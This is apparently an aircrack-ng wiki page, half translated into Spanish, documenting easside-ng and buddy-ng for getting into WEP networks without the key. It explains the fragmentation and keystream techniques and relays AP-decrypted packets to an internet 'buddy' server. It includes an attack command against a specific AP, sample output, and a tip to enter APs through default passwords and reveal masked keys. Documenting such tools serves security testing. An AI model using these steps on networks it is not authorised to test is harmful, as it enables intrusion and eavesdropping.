Herramientas de usuario

Herramientas del sitio


es:easside-ng

Easside-ng

Traducción en proceso

++++++ IMPORTANTE ++++++
++++++ IMPORTANTE ++++++
++++++ IMPORTANTE ++++++

Esta funcionalidad estará disponible en una versión futura. NO está disponible actualmente.

++++++ IMPORTANTE ++++++
++++++ IMPORTANTE ++++++
++++++ IMPORTANTE ++++++

Descripción

Easside-ng es una utilidad auto-mágica que nos permite comunicarnos con un punto de acceso (AP) sin necesidad de conocer la clave WEP. Primero idetifica una red wireless, despues procede a asociarse con ella, obtiene el PRGA (del inglés “pseudo random generation algorithm”) xor data, determina el rango de IPs de la red y por último crea una interface TAP para poder comunicarse con el AP sin necesidad de cononer la clave WEP. Todo esto se realiza sin necesidad de la intervención del usuario.

Hay dos documentos muy interesantes en inglés: “The Fragmentation Attack in Practice” por Andrea Bittau y “The Final Nail in WEP's Coffin” por Andrea Bittau, Mark Handley y Josua Lockey. Mira links page para encontrar estos documentos y muchos otros. Ahí encontrarás información para comprender detalladamente la metodología usada con esta aplicación. Los conceptos del ataque de fragmentación actualmente incorporado en aircrack-ng vienen de todos estos documentos.

Para conseguir acceder a la red wireless sin conocer la clave WEP es necesario que el AP desencripte los paquetes por sí mismo. Esto se consigue utilizando o ejecutandoo un proceso denominado “buddy” en un servidor accesible desde la red Internet. Este servidor “buddy” o “ficticio o amigo” redirige los paquetes desencriptados a nuestro propio sistema ejecutando easside-ng. Esto necesita una serie de requerimientos para que easside-ng funcione:

  • El punto de acceso debe ser capaz de comunicarse con la red Internet.
  • Un servidor “buddy” debe existir en la red Internet sin firewall del puerto usado por easside-ng. El puerto usado por defecto es el 6969 TCP y UDP.
  • El sistema en el que se ejecuta easside-ng debe tener acceso a Internet y ser capaz de comunicarse con el servidor “buddy”.

Hay dos fases:

  • Estableceer la conectividad básica entre easside-ng, el servidor buddy y el punto de acceso.
  • Comunicación con la red WIFI.

Cada fase se describe más detalladamente en la secciones siguientes.

Estableciendo Conectividad

A continuación puedes ver los pasos que lleva a cabo essside-ng durante la fase de establecimiento de conectividad:

  1. Cambia de canal buscando una red con clave WEP.
  2. Una vez que encuentra una red, intenta autenticarse.
  3. Cuando se ha autenticado satisfactoriamente intenta asociarse con el AP.
  4. Despues de esnifar un paquete de datos, procede a descubrir al menos 1504 bytes de PRGA enviando “broadcasts” más grandes e interceptando los paquetes de respuesta. Esto es conocido como ataque de fragmentación. El PRGA se guarda en el archivo prga.log.
  5. Seguidamente averigua la dirección IP de la red usando la técnica “linear keystream expansion”.
  6. Crea una conexión TCP permanente con el servidor “buddy” y verifica la conectividad.
  7. Envia ARPs para obtener la dirección MAC del router y la IP de origen. Por defecto se usa .1 para el router y .123 para el cliente IP.
  8. Entonces prueba la conexión con el punto de acceso y determina el rango de direcciones IP que usa el AP. También lista el tiempo que se tarda en obtener los paquetes de prueba. Esto nos dá una idea de la calidad de la conexión.
  9. Se crea una interface TAP.

En este punto, se ejecuta “ifconfig at0 up” y ahora serás capaz de comunicarte a través de la interface TAP con cualquier “host” de la red wifi. Recuerda que no necesitas una clave WEP para hacer esto! La interface TAP es una interface virtual que actua como si fuese la interface wifi con la clave WEP configurada correctamente. Puedes asignar una dirección IP, usar DHCP con ella, etc..

¿Qué papel juega el amigo servidor (buddy server)?

A continuación puedes leer una simple descripción. Una descripción más detallada con los pasos para desencriptar paquetes se incluye en secciones posteriores.

  • Esnifas paquetes en la red wifi y compruebas que están encriptados.
  • Si lo están, supongamos que un paquete vá dirigido a cnn.com, entonces en la red Internet tendría que viajar en texto plano. Ya que la red Internet no usa WEP.
  • La idea es retransmitir el paquete, pero en lugar de enviarlo a su destino original (cnn.com) lo enviaremos a nuestro amigo servidor (buddy) en Internet.
  • El servidor amigo obtendrá el paquete en texto plano sin wep (el AP desencriptará el paquete antes de enviarlo por internet) y nos lo enviará de vuelta a nosotros.

Communicación con la red WIFI

Lo que explicamos a continuación se describe en este diagrama de forma detallada:




Te estarás preguntando ¿donde está lo mágico?. ¿Cómo puedes acceder a la red wifi sin conocer la clave WEP?. El método es demasiado simple y también ingenioso.

Veamos los detalles del envio y recogida de paquetes a través de la interface at0 TAP.

Paquetes enviados:

  • A packet is given to the at0 (TAP interface) based on the local network routing table. Depending on what destination IP address you are trying to communicate with, you may have to manually add static routing entries. By default, the wifi network is added to the routing table for you.
  • The TAP interface hands the packet over to easside-ng
  • Easside-ng then encrypts it for injection using the PRGA gathered in the initial connectivity phase.
  • Easside-ng then injects the packet into the wifi network via the wireless device.

Paquetes recibidos:

  • A source device (wired or wireless) sends a packet destined for the IP assigned to the ath0 interface or to a broadcast destination. The AP transmits the packet into the air.
  • Easside-ng constantly listens to the packets being transmitted by the AP. It then processes packets addressed to the TAP IP based on the MAC address or broadcasts.
  • For each packet it needs to process, the packet must first be decrypted. This will be done in multiple steps. The steps follow.
  • Easside-ng creates a new packets composed of two fragments. The first fragment has no data, it simply has the destination IP of the buddy-server. This fragment is encrypted using the PRGA (keystream). The second fragment contains the packet to be decrypted. Since this packet is already encrypted, it is used “as is”. This new packet consistently of two fragments is then injected into the wifi network.
  • The AP receives the fragmented packet, decrypts each fragment and reassembles the fragments into a single packet. Since the destination IP of the reassembled packet is the buddy-server, it forwards it to the buddy server. You should note that the AP was kind enough to decrypt the packet for you!
  • The buddy server receives the decrypted packet from the AP by UDP. It then resends the decrypted information back to easside-ng.
  • Easside-ng then sends the decrypted packet out the at0 (TAP) interface.

Técnica de Fragmentación

Esta sección proporciona una pequeña explicación de la técnica de fragmentación usada en easside-ng.

Esta técnica, cuando es exitosa, puede obtener 1504 bytes del PRGA (del inglés “pseudo random generation algorithm”). Este ataque no obtiene la clave WEP por si mismo, pero sirve para conseguir el PRGA. Y el PRGA se puede usar para encriptar los paquetes que deseemos transmitir. Es necesario conseguir al menos un paquete de datos recibido desde el punto de acceso para poder iniciar el ataque.

Básicamente, el programa obtiene a small amount of keying material from the packet then attempts to send packets with known content to the access point (AP). If the packet is successfully echoed back by the AP then a larger amount of keying information can be obtained from the returned packet. This cycle is repeated several times until 1504 bytes of PRGA are obtained.

The original paper, The Fragmentation Attack in Practice, by Andrea Bittau provides a much more detailed technical description of the technique. A local copy is located here. Here are presentation slides of a related paper. A local copy of the slides is located here. Also see the paper “The Final Nail in WEP's Coffin” on this page.

Linear Keystream Expansion Technique

This section provides a brief explanation of the linear keystream expansion technique used in easside-ng.

So you may also be asking “What is the linear keystream expansion technique?”. The foundation is the fact that packets like an encrypted ARP request can easily be identified combined with the fact that the start of it has known plain text.

The program first obtains the PRGA from known plain text portion of the ARP request. Then it creates a new ARP request packet broken into two fragments. The first fragment is one more byte then the know PRGA and the PRGA is guessed for the extra byte. These guesses are sent and the program listens to see which one is replayed by the AP. The replayed packet has the correct PRGA and this value was included in the destination multicast address. Now that we know the correct PRGA, one more byte can be decrypted in the original ARP request. This process is repeated until the sending IP in the original ARP request is decrypted. It takes a maximum of 256 guesses to determine the correct PRGA for a particular byte and on average only 128 guesses.

The linear keystream expansion technique (Arbaugh inductive) is reverse chopchop. Chopchop decrypts packets from back to the front. Linear decrypts packets from the front to the back. Actually, chopchop is reverse Arbaugh.

Easside-ng comparado con Wesside-ng

La comparación del programa easside-ng hay que realizarla con wesside-ng. A continuación puedes ver una tabla con la comparación de los dos programas:

Característicaseasside-ngwesside-ng
Estabilidad del programaEstableEn pruebas
Encuentra dirección MAC a falsificarNoSi
Falsa autenticacion al APSiSi
Puede usar paquetes ARP para fragmentacionSiSi
Puede usar paquetes IP para fragmentacionSiNo
Ataque de Fragmentacion para obtener PRGASiSi
Técnica de expansión “Linear Keystream”SiSi
Comunicación con la red wifi sin la clave WEPSiNo
Desbordar la red con peticiones ARPNoSi
Ataque PTW de Aircrack-ngNoSi
Recupera la clave WEPNoSi

Why easside-ng when aircrack-ng has PTW?

Why release easside-ng when aircrack-ng has PTW?

  • easside-ng was private and came a year before PTW.
  • easside-ng is handy for a quick and stealthy attack. It is significantly faster than PTW. It's “instant” and requires no flooding.

Uso

Uso: easside-ng <argumentos>

Donde:

  • -h Muestra el listado de opciones.
  • -v Dirección MAC del Punto de Acceso (Opcional)
  • -m Dirección MAC de origen a usar (Opcional)
  • -i Dirección IP de origen a usar en la red wireless. Por defecto para decodificar la red “.123” (Opcional)
  • -r Dirección IP del router o AP. Esta puede ser la IP de la red WAN del AP o una actual IP concedida por el router dependiendo de la topología. Por defecto para decodificar la red “.1”. (Opcional)
  • -s La dirección IP del servidor “buddy” (Obligatorio)
  • -f Nombre de la interface Wireless. (Obligatorio)
  • -c Fija la tarjeta al canal especificado (Opcional)

Uso: buddy-ng

NOTA: No hay parámetros para buddy-ng. Una vez invocado, se pone a escuchar en el puerto TCP 6969 y en el puerto UDP 6969. TCP se usa para la conexión permanente entre esside-ng y buddy-ng. UDP se usa para recibir los paquetes desencriptados desde el AP.

Cuando se ejecuta easside-ng, crea un archivo automáticamente en el directorio actual donde se está ejecutando el programa:

  • prga.log - Contiene el PRGA obtenido a través del ataque de fragmentación. Lo siguiente NO es correcto sino que es una opción prevista para el futuro: “Podrá ser usado por otras aplicaciones de la suite aircrack-ng que necesitan un PRGA. También se podrá usar el PRGA generado por otras utilidades para crear este archivo.”

Es muy importante borrar este archivo antes de comenzar de nuevo el programa cuando cambiamos la dirección del punto de acceso al que queremos atacar.

Escenarios

Specific AP Usage Example

Be sure to use airmon-ng to put your card into monitor mode.

First, you need to start a buddy server. This needs to be located on the Internet and be accessible from the system running easside-ng via TCP. It must also be accessible from the AP via UDP. Port 6969 cannot be firewalled on it.

You start the buddy sever:

 buddy-ng

It responds:

 buddy-ng
 Waiting for connexion

When easside-ng connects, it responds similar to:

 Got connection from 10.113.65.187
 Handshake complete
 Inet check by 10.113.65.187 1

The IP 10.113.65.187 above is the IP of the system running easside-ng.

Now run easside-ng:

 easside-ng -f ath0 -v 00:14:6C:7E:40:80 -c 9  -s 10.116.23.144

Where:

  • -f ath0 This is the wireless interface name.
  • -v 00:14:6C:7E:40:80 The is the MAC address of the AP.
  • -c 9 This is the channel the AP is on.
  • -s 10.116.23.144 This is the buddy server IP.

The system responds:

 Setting tap MTU
 Sorting out wifi MAC
 MAC is 00:08:D4:86:7E:98
 Setting tap MAC
 [14:40:06.596419] Ownin...
 SSID teddy Chan 9 Mac 00:14:6C:7E:40:80
 Sending auth request
 Authenticated
 Sending assoc request
 Associated: 1
 Assuming ARP 54
 [14:40:13.537842] Got 22 bytes of PRGA IV [4B:02:00]
 [14:40:13.545021] Got 58 bytes of PRGA IV [4C:02:00]
 [14:40:13.648670] Got 166 bytes of PRGA IV [4D:02:00]
 [14:40:13.753087] Got 490 bytes of PRGA IV [4E:02:00]
 [14:40:13.863819] Got 1462 bytes of PRGA IV [4F:02:00]
 [14:40:13.966753] Got 1504 bytes of PRGA IV [50:02:00]
 Assuming ARP 36
 [15:23:42.047332] Guessing prga byte 22 with 16
 ARP IP so far: 192
 [15:23:42.749330] Guessing prga byte 23 with 3F
 ARP IP so far: 192.168
 [15:23:43.815329] Guessing prga byte 24 with 60
 ARP IP so far: 192.168.1
 My IP 192.168.1.123
 Rtr IP 192.168.1.1
 Sending who has 192.168.1.1 tell 192.168.1.123
 Rtr MAC 00:14:6C:7E:40:80
 Trying to connect to buddy: 10.116.23.144:6969
 Connected
 Handshake compl33t
 Checking for internet... 1
 Internet w0rx.  Public IP 10.113.65.187
 Rtt 77ms

At this point, you need to bring up the TAP interface:

 ifconfig at0 up

Now you can send and receive packets to and from the AP network which in this case is 192.168.1.0/24 via the at0 inteface. Notice that you don't need a WEP key to do this! The TAP interface is a virtual interface that acts as if it were the wifi interface with the correct WEP key configured. You can assign an IP, use DHCP with it and so on. By default, the at0 interface is assigned the network obtained at the start plus “.123”.

Ejemplo de uso para el escaneo de APs

El “Ejemplo de uso específico AP” es para apuntar a un único Punto de Acceso en un canal concreto. Tambié puedes permitir a easside-ng escanear a todos los APs usando “easside-ng -f ath0 -s 10.116.23.144”.

Usage Tips

Combinando easside-ng y wesside-ng

Como sabes, wesside-ng es una nueva utilidad muy funcional, pero todavía no es demasiado estable y no está libre de bugs en comparación a easside-ng. Puedes combinar las dos aplicaciones a la vez: wesside-ng y easside-ng.

Primero ejecuta easside-ng para obtener el archivo prga. Despues ejecuta wesside-ng con el fin de obtener la clave WEP. Realmente es así de simple!

Esto se conoce como “besside-ng”.

Demonstrating Insecurity!

IMPORTANT: You must have written permission from the owner of the AP prior to using the instructions in this section. It is illegal to access networks which do not belong to you.

A clever way to demonstrate the insecurity of WEP networks and access points:

  • Use easside-ng to create an access mechanism to the WIFI network.
  • Log into the AP with your favourite browser. 99% of the time, the APs have default ids and passwords. Many times there are no passwords set. Once logged into the AP, you can go to the WEP settings page and read off the WEP key from the configuration page. In some cases, where there are asterisks (*) for the key, you may need to look at the HTML source or use a tool to reveal the password.
  • Now you can configure your wireless card with the WEP key and access the network normally.

Test Setup

This section will discuss what works and what does not work with regards to testing easside-ng against your own wireless LAN.

6969 is the standard port used by easside-ng and buddy-ng. If you change it, then of course, use the revised port number in all references below.

First, some simple assumptions about your wireless LAN:

  • It has access to the Internet.
  • Outbound UDP port 6969 to the Internet is not blocked. Some firewalls only allow communication on ports which have been explicitly allowed.
  • You have tested your ability to connect to the buddy-ng server. See how to perform this test below.

Assumptions about your buddy-ng server:

  • It is running on Internet with a routeable IP address
  • It is accessable by both the system running easside-ng and the wireless LAN
  • Inbound and outbound UDP and TCP port 6969 is permitted.

Assumptions about the system running easside-ng;

  • It is running on Internet with a routeable IP address.
  • Outbound TCP port 6969 to the Internet is not blocked. Some firewalls only allow communication on ports which have been explicitly allowed.
  • You have tested your ability to connect to the buddy-ng server. See how to perform this test below.
  • It contains a wireless device supported by aircrack-ng and it is in monitor mode.

The easiest way to test connectivity to the buddy-ng server is by using telnet. Be sure to start your buddy server process prior to doing this test! Otherwise it will fail for sure.

Enter:

 telnet <ip of buddy server> 6969

The system should respond:

 Trying <ip of buddy server>...
 Connected to <ip of buddy server>.
 Escape character is '^]'.

The buddy server should look like this:

 Waiting for connexion
 Got connection from <ip of the easside-ng system>

When you terminate the telnet session, it should look like this:

 That was it
 Waiting for connexion

The above examples show a successful test. If your test fails then use tcpdump or wireshark on the source and destination systems to sniff port 6969. Determine the problem with these tools and others then correct the root problem.

If you are running easside-ng and buddy-ng on the same system then the system must have a routeable Internet IP address. You cannot be on a LAN behind a firewall which does network address translation (NAT).

The ideal situation is to have the buddy-ng server running on a separate system someplace on the Internet. Then have a second system with easside-ng running with a routeable IP address.

Tap interface under Windows

To obtain a tap interface in a MS Windows environment, install OpenVPN.

Usage Troubleshooting

  • Make sure your card is in monitor mode.
  • Make sure your card can inject by testing it with the aireplay-ng injection test. Also specifically ensure you can communicate with the AP in question.
  • Make sure your card supports the fragmentation attack. Again, this can be confirmed with the aireplay-ng injection test.
  • Make sure to delete prga.log if you are changing access points or if you want to restart cleanly. In general, if you have problems, it is a good idea to delete it.
  • There are a few known limitations:
    • Only open authentication is support. Shared key authentication is not supported.
    • Only B and G networks are supported.
es/easside-ng.txt · Última modificación: 2009/09/05 23:28 por mister_x